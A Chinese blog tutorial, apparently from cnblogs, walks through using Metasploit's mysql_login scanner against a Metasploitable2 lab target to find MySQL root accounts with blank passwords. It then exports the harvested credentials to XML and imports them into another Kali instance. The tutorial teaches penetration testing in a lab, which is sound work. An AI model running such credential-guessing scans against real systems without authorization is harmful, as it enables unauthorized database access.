msf扫描靶机上mysql服务的空密码

标签：xml scanner mysql msf 靶机 msf5 login auxiliary

我们启动一台 Metasploitable2-Linux 靶机网络模式为桥接 IP：192.168.146.136

 

登录 Metasploitable2-Linux 系统用户名 root，密码：123456

 

输入 ip a 查看 ip 地址

 

登录 Kali 开始搜索模块

msf6 > search mysql_login

加载模块

msf6 > use auxiliary/scanner/mysql/mysql_login

查看模块配置项

msf6 auxiliary(scanner/mysql/mysql_login) > show options

我们配置要爆破的用户

msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root

 

参数：BLANK_PASSWORDS 含意：Try blank passwords for all users

 

#为所有用户尝试空

 

密码 。 blank [blæŋk] 空白的

 

开启为所有用户尝试空密码

 

msf5 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true

 

设置目标主机

 

msf5 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.146.136

 

配置完成以后我们执行 run 或者 exploit msf5 auxiliary(scanner/mysql/mysql_login) > exploit msf5 auxiliary(scanner/mysql/mysql_login) > creds

将前面扫描 mysql 数据库空密码信息导出

msf5 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml

注：导出只支持两种格式：xml 和 pwdump

常用的导出格式为 xml

再开一台新 Kali，数据库中主机信息是空的，我们导入数据 msf5 > db_import /root/bak.xml

 

 

 

 

标签：xml,scanner,mysql,msf,靶机,msf5,login,auxiliary
From： https://www.cnblogs.com/BDAMBXA/p/17703607.html